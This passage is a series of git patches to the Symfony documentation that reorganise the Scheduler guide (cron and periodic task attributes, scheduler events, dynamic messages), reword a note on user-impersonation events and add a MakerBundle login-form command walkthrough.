-on-the-fly by the scheduler transport). This implies that any messages
-scheduled to be sent during the worker's inactive period are not sent, and the
-Scheduler will lose track of the last processed message. Upon restart, it will
-recalculate the messages to be generated from that point onward.
+When a worker is restarted or undergoes shutdown for a period, the Scheduler transport won't be able to generate the messages (because they are created on-the-fly by the scheduler transport).
+This implies that any messages scheduled to be sent during the worker's inactive period are not sent, and the Scheduler will lose track of the last processed message.
+Upon restart, it will recalculate the messages to be generated from that point onward.
 
-To illustrate, consider a recurring message set to be sent every 3 days. If a
-worker is restarted on day 2, the message will be sent 3 days from the restart,
-on day 5.
+To illustrate, consider a recurring message set to be sent every 3 days.
+If a worker is restarted on day 2, the message will be sent 3 days from the restart, on day 5.
 
-While this behavior may not necessarily pose a problem, there is a possibility
-that it may not align with what you are seeking.
+While this behavior may not necessarily pose a problem, there is a possibility that it may not align with what you are seeking.
 
 That's why the scheduler allows to remember the last execution date of a message
 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
-This allows the system to retain the state of the schedule, ensuring that when
-a worker is restarted, it resumes from the point it left off::
+This allows the system to retain the state of the schedule, ensuring that when a worker is restarted, it resumes from the point it left off.::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;

From d1e1bab0f7a4b924441314c575c1af159836198a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 12:33:13 +0100
Subject: [PATCH 5713/7107] Some weaks

---
 scheduler.rst | 361 +++++++++++++++++++++++++++-----------------------
 1 file changed, 194 insertions(+), 167 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 7e009e11d6f..2c1d7bf1f87 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -285,11 +285,6 @@ Custom Triggers
 Custom triggers allow to configure any frequency dynamically. They are created
 as services that implement :class:`Symfony\\Component\\Scheduler\\Trigger\\TriggerInterface`.
 
-.. versionadded:: 6.4
-
-    Since version 6.4, you can define your messages via a ``callback`` via the
-    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
-
 For example, if you want to send customer reports daily except for holiday periods::
 
     // src/Scheduler/Trigger/NewUserWelcomeEmailHandler.php
@@ -361,21 +356,32 @@ Finally, the recurring messages has to be attached to a schedule::
         }
     }
 
-So, this RecurringMessage will encompass both the trigger, defining the generation frequency of the message, and the message itself, the one to be processed by a specific handler.
+So, this ``RecurringMessage`` will encompass both the trigger, defining the
+generation frequency of the message, and the message itself, the one to be
+processed by a specific handler.
 
-But what is interesting to know is that it also provides you with the ability to generate your message(s) dynamically.
+But what is interesting to know is that it also provides you with the ability to
+generate your message(s) dynamically.
 
-A dynamic vision for the messages generated
+A Dynamic Vision for the Messages Generated
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-This proves particularly useful when the message depends on data stored in databases or third-party services.
+This proves particularly useful when the message depends on data stored in
+databases or third-party services.
 
-Taking your example of reports generation, it depends on customer requests.
-Depending on the specific demands, any number of reports may need to be generated at a defined frequency.
-For these dynamic scenarios, it gives you the capability to dynamically define our message(s) instead of statically.
-This is achieved by defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+Following the previous example of reports generation: they depend on customer requests.
+Depending on the specific demands, any number of reports may need to be generated
+at a defined frequency. For these dynamic scenarios, it gives you the capability
+to dynamically define our message(s) instead of statically. This is achieved by
+defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
 
-Essentially, this means you can dynamically, at runtime, define your message(s) through a callback that gets executed each time the scheduler transport checks for messages to be generated::
+.. versionadded:: 6.4
+
+    The ``CallbackMessageProvider`` was introduced in Symfony 6.4.
+
+Essentially, this means you can dynamically, at runtime, define your message(s)
+through a callback that gets executed each time the scheduler transport
+checks for messages to be generated::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -394,7 +400,6 @@ Essentially, this means you can dynamically, at runtime, define your message(s)
                     // instead of being static as in the previous example
                     new CallbackMessageProvider([$this, 'generateReports'], 'foo')),
                     RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
-
                 );
         }
 
@@ -403,61 +408,76 @@ Essentially, this means you can dynamically, at runtime, define your message(s)
             // ...
             yield new SendDailySalesReports();
             yield new ReportSomethingReportSomethingElse();
-            ....
         }
     }
 
-Exploring alternatives for crafting your Recurring Messages
+Exploring Alternatives for Crafting your Recurring Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-There is also another way to build a RecurringMessage, and this can be done simply by adding an attribute above a service or a command:
-:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute and :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute.
+There is also another way to build a ``RecurringMessage``, and this can be done
+by adding one of these attributes to a service or a command:
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` and
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask`.
 
-For both of these attributes, you have the ability to define the schedule to roll with using the ``schedule``option. By default, the ``default`` named schedule will be used.
-Also, by default, the ``__invoke`` method of your service will be called but, it's also possible to specify the method to call via the ``method``option and you can define arguments via ``arguments``option if necessary.
+For both of these attributes, you have the ability to define the schedule to
+use via the ``schedule``option. By default, the ``default`` named schedule will
+be used. Also, by default, the ``__invoke`` method of your service will be called
+but, it's also possible to specify the method to call via the ``method``option
+and you can define arguments via ``arguments``option if necessary.
 
-The distinction between these two attributes lies in the options pertaining to the trigger:
+The distinction between these two attributes lies in the trigger options:
 
-#. :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute:
+* :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
+  defines the following trigger options: ``frequencies``, ``from``, ``until`` and
+  ``jitter``,
+* :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
+  defines the following trigger options: ``expression``, ``jitter``.
 
-    #. You can configure various options such as ``frequencies``, ``from``, ``until`` and ``jitter``, encompassing options related to the trigger.
-
-#. :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute:
-
-    #. You can configure various options such as ``expression``, ``jitter``, encompassing options related to the trigger.
-
-By defining one of these two attributes, it enables the execution of your service or command, considering all the options that have been specified within the attributes.
+By defining one of these two attributes, it enables the execution of your
+service or command, considering all the options that have been specified within
+the attributes.
 
 Managing Scheduled Messages
 ---------------------------
 
-Modifying Scheduled Messages in real time
+Modifying Scheduled Messages in Real-Time
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-While planning a schedule in advance is beneficial, it is rare for a schedule to remain static over time.
-After a certain period, some RecurringMessages may become obsolete, while others may need to be integrated into our planning.
+While planning a schedule in advance is beneficial, it is rare for a schedule to
+remain static over time. After a certain period, some ``RecurringMessages`` may
+become obsolete, while others may need to be integrated into the planning.
 
-As a general practice, to alleviate a heavy workload, the recurring messages in the schedules are stored in memory to avoid recalculation each time the scheduler transport generates messages.
-However, this approach can have a flip side.
+As a general practice, to alleviate a heavy workload, the recurring messages in
+the schedules are stored in memory to avoid recalculation each time the scheduler
+transport generates messages. However, this approach can have a flip side.
 
-In the context of our sales company, certain promotions may occur during specific periods and need to be communicated repetitively throughout a given timeframe
-or the deletion of old reports needs to be halted under certain circumstances.
+Following the same report generation example as above, the company might do some
+promotions during specific periods (and they need to be communicated repetitively
+throughout a given timeframe) or the deletion of old reports needs to be halted
+under certain circumstances.
 
-This is why the Scheduler incorporates a mechanism to dynamically modify the schedule and consider all changes in real-time.
+This is why the ``Scheduler`` incorporates a mechanism to dynamically modify the
+schedule and consider all changes in real-time.
 
-Strategies for adding, removing, and modifying entries within the Schedule
+Strategies for Adding, Removing, and Modifying Entries within the Schedule
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The schedule provides you with the ability to :method:`Symfony\\Component\\Scheduler\Schedule::add`, :method:`Symfony\\Component\\Scheduler\Schedule::remove`, or :method:`Symfony\\Component\\Scheduler\Schedule::clear` all associated recurring messages,
-resulting in the reset and recalculation of the in-memory stack of recurring messages.
+The schedule provides you with the ability to :method:`Symfony\\Component\\Scheduler\Schedule::add`,
+:method:`Symfony\\Component\\Scheduler\Schedule::remove`, or :method:`Symfony\\Component\\Scheduler\Schedule::clear`
+all associated recurring messages, resulting in the reset and recalculation of
+the in-memory stack of recurring messages.
 
-For instance, for various reasons, if there's no need to generate a report, a callback can be employed to conditionally skip generating of some or all reports.
+For instance, for various reasons, if there's no need to generate a report, a
+callback can be employed to conditionally skip generating of some or all reports.
 
 However, if the intention is to completely remove a recurring message and its recurrence,
-the :class:`Symfony\\Component\\Scheduler\Schedule` offers a :method:`Symfony\\Component\\Scheduler\Schedule::remove` or a :method:`Symfony\\Component\\Scheduler\Schedule::removeById` method.
-This can be particularly useful in your case, especially if you need to halt the generation of the recurring message, which involves deleting old reports.
+the :class:`Symfony\\Component\\Scheduler\Schedule` offers a :method:`Symfony\\Component\\Scheduler\Schedule::remove`
+or a :method:`Symfony\\Component\\Scheduler\Schedule::removeById` method. This can
+be particularly useful in your case, especially if you need to halt the generation
+of the recurring message, which involves deleting old reports.
 
-In your handler, you can check a condition and, if affirmative, access the :class:`Symfony\\Component\\Scheduler\Schedule` and invoke this method::
+In your handler, you can check a condition and, if affirmative, access the
+:class:`Symfony\\Component\\Scheduler\Schedule` and invoke this method::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -492,7 +512,7 @@ In your handler, you can check a condition and, if affirmative, access the :clas
     {
         public function __invoke(CleanUpOldSalesReport $cleanUpOldSalesReport): void
         {
-            // do what you have to do
+            // do some work here...
 
             if ($isFinished) {
                 $this->mySchedule->removeCleanUpMessage();
@@ -500,40 +520,47 @@ In your handler, you can check a condition and, if affirmative, access the :clas
         }
     }
 
-Nevertheless, this system may not be the most suitable for all scenarios. Also, the handler should ideally be designed to process the type of message it is intended for,
-without making decisions about adding or removing a new recurring message.
+Nevertheless, this system may not be the most suitable for all scenarios. Also,
+the handler should ideally be designed to process the type of message it is
+intended for, without making decisions about adding or removing a new recurring
+message.
 
-For instance, if, due to an external event, there is a need to add a recurrent message aimed at deleting reports,
-it can be challenging to achieve within the handler. This is because the handler will no longer be called or executed once there are no more messages of that type.
+For instance, if, due to an external event, there is a need to add a recurrent
+message aimed at deleting reports, it can be challenging to achieve within the
+handler. This is because the handler will no longer be called or executed once
+there are no more messages of that type.
 
-However, the Scheduler also features an event system that is integrated into a Symfony full-stack application by grafting onto Symfony Messenger events.
-These events are dispatched through a listener, providing a convenient means to respond.
+However, the Scheduler also features an event system that is integrated into a
+Symfony full-stack application by grafting onto Symfony Messenger events. These
+events are dispatched through a listener, providing a convenient means to respond.
 
 Managing Scheduled Messages via Events
 --------------------------------------
 
-A strategic event handling
+A Strategic Event Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The goal is to provide flexibility in deciding when to take action while preserving decoupling.
-Three primary event types have been introduced types
-
-    #. PRE_RUN_EVENT
-
-    #. POST_RUN_EVENT
-
-    #. FAILURE_EVENT
+The goal is to provide flexibility in deciding when to take action while
+preserving decoupling. Three primary event types have been introduced types
 
-Access to the schedule is a crucial feature, allowing effortless addition or removal of message types.
-Additionally, it will be possible to access the currently processed message and its message context.
+* ``PRE_RUN_EVENT``
+* ``POST_RUN_EVENT``
+* ``FAILURE_EVENT``
 
-In consideration of our scenario, you can easily listen to the PRE_RUN_EVENT and check if a certain condition is met.
+Access to the schedule is a crucial feature, allowing effortless addition or
+removal of message types. Additionally, it will be possible to access the
+currently processed message and its message context.
 
-For instance, you might decide to add a recurring message for cleaning old reports again, with the same or different configurations, or add any other recurring message(s).
+In consideration of our scenario, you can listen to the ``PRE_RUN_EVENT`` and
+check if a certain condition is met. For instance, you might decide to add a
+recurring message for cleaning old reports again, with the same or different
+configurations, or add any other recurring message(s).
 
-If you had chosen to handle the deletion of the recurring message, you could have easily done so in a listener for this event.
-
-Importantly, it reveals a specific feature :method:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent::shouldCancel` that allows you to prevent the message of the deleted recurring message from being transferred and processed by its handler::
+If you had chosen to handle the deletion of the recurring message, you could
+have done so in a listener for this event. Importantly, it reveals a specific
+feature :method:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent::shouldCancel`
+that allows you to prevent the message of the deleted recurring message from
+being transferred and processed by its handler::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -543,7 +570,7 @@ Importantly, it reveals a specific feature :method:`Symfony\\Component\\Schedule
     {
         public function getSchedule(): Schedule
         {
-            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
                 ->with(
@@ -559,7 +586,7 @@ Importantly, it reveals a specific feature :method:`Symfony\\Component\\Schedule
                     // can target directly the RecurringMessage being processed
                     $schedule->removeById($messageContext->id);
 
-                    //Allow to call the ShouldCancel() and avoid the message to be handled
+                    // allow to call the ShouldCancel() and avoid the message to be handled
                         $event->shouldCancel(true);
                 }
                 ->after(function(PostRunEvent $event) {
@@ -571,6 +598,103 @@ Importantly, it reveals a specific feature :method:`Symfony\\Component\\Schedule
         }
     }
 
+Scheduler Events
+~~~~~~~~~~~~~~~~
+
+PreRunEvent
+...........
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent`
+
+``PreRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+or cancel a message before it's consumed::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\PreRunEvent;
+
+    public function onMessage(PreRunEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        // do something with the schedule, context or message
+
+        // and/or cancel message
+        $event->shouldCancel(true);
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PreRunEvent"
+
+PostRunEvent
+............
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PostRunEvent`
+
+``PostRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+after a message is consumed::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\PostRunEvent;
+
+    public function onMessage(PostRunEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        // do something with the schedule, context or message
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PostRunEvent"
+
+FailureEvent
+............
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\FailureEvent`
+
+``FailureEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+when a message consumption throws an exception::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\FailureEvent;
+
+    public function onMessage(FailureEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        $error = $event->getError();
+
+        // do something with the schedule, context, message or error (logging, ...)
+
+        // and/or ignore failure event
+        $event->shouldIgnore(true);
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\FailureEvent"
+
+.. versionadded:: 6.4
+
+    The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
+    introduced in Symfony 6.4.
+
 Consuming Messages (Running the Worker)
 ---------------------------------------
 
@@ -701,103 +825,6 @@ before being further redispatched to its corresponding handler::
         }
     }
 
-Scheduler Events
-----------------
-
-PreRunEvent
-~~~~~~~~~~~
-
-**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent`
-
-``PreRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-or cancel a message before it's consumed::
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Scheduler\Event\PreRunEvent;
-
-    public function onMessage(PreRunEvent $event): void
-    {
-        $schedule = $event->getSchedule();
-        $context = $event->getMessageContext();
-        $message = $event->getMessage();
-
-        // do something with the schedule, context or message
-
-        // and/or cancel message
-        $event->shouldCancel(true);
-    }
-
-Execute this command to find out which listeners are registered for this event
-and their priorities:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PreRunEvent"
-
-PostRunEvent
-~~~~~~~~~~~~
-
-**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PostRunEvent`
-
-``PostRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-after a message is consumed::
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Scheduler\Event\PostRunEvent;
-
-    public function onMessage(PostRunEvent $event): void
-    {
-        $schedule = $event->getSchedule();
-        $context = $event->getMessageContext();
-        $message = $event->getMessage();
-
-        // do something with the schedule, context or message
-    }
-
-Execute this command to find out which listeners are registered for this event
-and their priorities:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PostRunEvent"
-
-FailureEvent
-~~~~~~~~~~~~
-
-**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\FailureEvent`
-
-``FailureEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-when a message consumption throws an exception::
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Scheduler\Event\FailureEvent;
-
-    public function onMessage(FailureEvent $event): void
-    {
-        $schedule = $event->getSchedule();
-        $context = $event->getMessageContext();
-        $message = $event->getMessage();
-
-        $error = $event->getError();
-
-        // do something with the schedule, context, message or error (logging, ...)
-
-        // and/or ignore failure event
-        $event->shouldIgnore(true);
-    }
-
-Execute this command to find out which listeners are registered for this event
-and their priorities:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\FailureEvent"
-
-.. versionadded:: 6.4
-
-    The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
-    introduced in Symfony 6.4.
-
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From 1fd6705ae871ec576b65e932d49a2f19d52595fd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 13:16:24 +0100
Subject: [PATCH 5714/7107] Content reorganization

---
 scheduler.rst | 184 +++++++++++++++++++++++++-------------------------
 1 file changed, 92 insertions(+), 92 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 971e0170b41..d6c686031ce 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -205,42 +205,6 @@ Then, define the trigger date/time using the same syntax as the
 
     Since version 6.4, it is now possible to add and define a timezone as a 3rd argument.
 
-Another way of declaring cron triggers is to use the
-:class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
-on an invokable class::
-
-    // src/Scheduler/Task/SendDailySalesReports.php
-    namespace App\Scheduler\Task;
-
-    use Symfony\Component\Scheduler\Attribute\AsCronTask;
-
-    #[AsCronTask('0 0 * * *')]
-    class SendDailySalesReports
-    {
-        public function __invoke()
-        {
-            // ...
-        }
-    }
-
-This is the most basic way to define a cron trigger. However, the attribute
-takes more parameters to customize the trigger::
-
-    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
-    #[AsCronTask('0 0 * * *', jitter: 6)]
-
-    // defines the method name to call instead as well as the arguments to pass to it
-    #[AsCronTask('0 0 * * *', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
-
-    // defines the timezone to use
-    #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
-
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
-    was introduced in Symfony 6.4.
-
-
 .. tip::
 
     Check out the `crontab.guru website`_ if you need help to construct/understand
@@ -258,6 +222,10 @@ For example::
 
     RecurringMessage::cron('@daily', new Message());
 
+.. tip::
+
+    You can also define cron tasks using :ref:`the AsCronTask attribute <scheduler-attributes-cron-task>`.
+
 Hashed Cron Expressions
 .......................
 
@@ -321,54 +289,9 @@ defined by PHP datetime functions::
     $until = '2023-06-12';
     RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
 
-Like cron triggers, you can also use the
-:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
-on an invokable class::
-
-    // src/Scheduler/Task/SendDailySalesReports.php
-    namespace App\Scheduler\Task;
-
-    use Symfony\Component\Scheduler\Attribute\AsPeriodicTask;
-
-    #[AsPeriodicTask(frequency: '1 day', from: '2022-01-01', until: '2023-06-12')]
-    class SendDailySalesReports
-    {
-        public function __invoke()
-        {
-            // ...
-        }
-    }
-
-.. note::
-
-    The ``from`` and ``until`` options are optional. If not defined, the task
-    will be executed indefinitely.
-
-The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigger::
-
-    // the frequency can be defined as an integer representing the number of seconds
-    #[AsPeriodicTask(frequency: 86400)]
-
-    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
-    #[AsPeriodicTask(frequency: '1 day', jitter: 6)]
-
-    // defines the method name to call instead as well as the arguments to pass to it
-    #[AsPeriodicTask(frequency: '1 day', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
-    class SendDailySalesReports
-    {
-        public function sendEmail(string $email): void
-        {
-            // ...
-        }
-    }
-
-    // defines the timezone to use
-    #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')]
-
-.. versionadded:: 6.4
+.. tip::
 
-    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
-    was introduced in Symfony 6.4.
+    You can also define periodic tasks using :ref:`the AsPeriodicTask attribute <scheduler-attributes-periodic-task>`.
 
 Custom Triggers
 ~~~~~~~~~~~~~~~
@@ -516,17 +439,94 @@ be used. Also, by default, the ``__invoke`` method of your service will be calle
 but, it's also possible to specify the method to call via the ``method``option
 and you can define arguments via ``arguments``option if necessary.
 
-The distinction between these two attributes lies in the trigger options:
+.. scheduler-attributes-cron-task::
+
+``AsCronTask`` Example
+......................
+
+This is the most basic way to define a cron trigger with this attribute::
+
+    // src/Scheduler/Task/SendDailySalesReports.php
+    namespace App\Scheduler\Task;
+
+    use Symfony\Component\Scheduler\Attribute\AsCronTask;
+
+    #[AsCronTask('0 0 * * *')]
+    class SendDailySalesReports
+    {
+        public function __invoke()
+        {
+            // ...
+        }
+    }
+
+The attribute takes more parameters to customize the trigger::
 
-* :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
-  defines the following trigger options: ``frequencies``, ``from``, ``until`` and
-  ``jitter``,
-* :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
-  defines the following trigger options: ``expression``, ``jitter``.
+    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
+    #[AsCronTask('0 0 * * *', jitter: 6)]
 
-By defining one of these two attributes, it enables the execution of your
-service or command, considering all the options that have been specified within
-the attributes.
+    // defines the method name to call instead as well as the arguments to pass to it
+    #[AsCronTask('0 0 * * *', method: 'sendEmail', arguments: ['email' => 'admin@example.com'])]
+
+    // defines the timezone to use
+    #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
+    was introduced in Symfony 6.4.
+
+.. scheduler-attributes-periodic-task::
+
+``AsPeriodicTask`` Example
+..........................
+
+This is the most basic way to define a periodic trigger with this attribute::
+
+    // src/Scheduler/Task/SendDailySalesReports.php
+    namespace App\Scheduler\Task;
+
+    use Symfony\Component\Scheduler\Attribute\AsPeriodicTask;
+
+    #[AsPeriodicTask(frequency: '1 day', from: '2022-01-01', until: '2023-06-12')]
+    class SendDailySalesReports
+    {
+        public function __invoke()
+        {
+            // ...
+        }
+    }
+
+.. note::
+
+    The ``from`` and ``until`` options are optional. If not defined, the task
+    will be executed indefinitely.
+
+The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigger::
+
+    // the frequency can be defined as an integer representing the number of seconds
+    #[AsPeriodicTask(frequency: 86400)]
+
+    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
+    #[AsPeriodicTask(frequency: '1 day', jitter: 6)]
+
+    // defines the method name to call instead as well as the arguments to pass to it
+    #[AsPeriodicTask(frequency: '1 day', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
+    class SendDailySalesReports
+    {
+        public function sendEmail(string $email): void
+        {
+            // ...
+        }
+    }
+
+    // defines the timezone to use
+    #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')]
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
+    was introduced in Symfony 6.4.
 
 Managing Scheduled Messages
 ---------------------------

From 1d228b7c22d0cfda495c926aaaaa5b4e431f7d65 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 13:18:07 +0100
Subject: [PATCH 5715/7107] Remove some unneded references

---
 reference/attributes.rst | 4 ++--
 scheduler.rst            | 4 ----
 2 files changed, 2 insertions(+), 6 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index a929d38c3b0..4f784588e23 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -89,8 +89,8 @@ Routing
 Scheduler
 ~~~~~~~~~
 
-* :ref:`AsCronTask <scheduler_cron-expression-triggers>`
-* :ref:`AsPeriodicTask <scheduler_periodical-triggers>`
+* :ref:`AsCronTask <scheduler-attributes-cron-task>`
+* :ref:`AsPeriodicTask <scheduler-attributes-periodic-task>`
 * :ref:`AsSchedule <scheduler_attaching-recurring-messages>`
 
 Security
diff --git a/scheduler.rst b/scheduler.rst
index d6c686031ce..697e22d7eae 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -182,8 +182,6 @@ methods::
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class, as shown in the following examples.
 
-.. _scheduler_cron-expression-triggers:
-
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -272,8 +270,6 @@ For example::
     The day of month range is ``1-28``, this is to account for February
     which has a minimum of 28 days.
 
-.. _scheduler_periodical-triggers:
-
 Periodical Triggers
 ~~~~~~~~~~~~~~~~~~~
 

From 979eee7560ac35f4df44cf37c18a910c8d975a02 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 15:00:23 +0100
Subject: [PATCH 5716/7107] Minor reword

---
 security/impersonating_user.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 75003f6495b..41351ab7798 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -363,11 +363,10 @@ not this is allowed. If your voter isn't called, see :ref:`declaring-the-voter-a
 Events
 ------
 
-Just before the impersonation is fully completed, the ``security.switch_user`` event is
-dispatched.
-The :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` is
-passed to the :doc:`listener or subscriber </event_dispatcher>`, and you can use
-this to get the user that you are now impersonating.
+the ``security.switch_user`` event is dispatched just before the impersonation
+is fully completed. Your :doc:`listener or subscriber </event_dispatcher>` will
+receive a :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`,
+which you can use to get the user that you are now impersonating.
 
 This event is also dispatched just before impersonation is fully exited. You can
 use it to get the original impersonator user.

From a6b2fd02e1e2b9bf16763e73ac089a5a9e879795 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Tue, 29 Nov 2022 07:01:26 -0500
Subject: [PATCH 5717/7107] [Security] WIP -  make:security:form-login is now
 available in MakerBundle

---
 security.rst | 28 +++++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index c2066816dee..4320e869d5a 100644
--- a/security.rst
+++ b/security.rst
@@ -662,7 +662,33 @@ Most websites have a login form where users authenticate using an
 identifier (e.g. email address or username) and a password. This
 functionality is provided by the *form login authenticator*.
 
-First, create a controller for the login form:
+`MakerBundle` has a new ``make:security:form-login`` command that was introduced
+in ``v1.x.x`` that will generate the controller, twig template, and configure
+``security.yaml`` after answering a couple of questions:
+
+.. code-block:: terminal
+
+    $ php bin/console make:security:form-login
+
+     Choose a name for the controller class (e.g. SecurityController) [SecurityController]:
+     > SecurityController
+
+     Do you want to generate a '/logout' URL? (yes/no) [yes]:
+     > y
+
+     created: src/Controller/SecurityController.php
+     created: templates/security/login.html.twig
+     updated: config/packages/security.yaml
+
+
+      Success!
+
+
+     Next: Review and adapt the login template: security/login.html.twig to suite your needs.
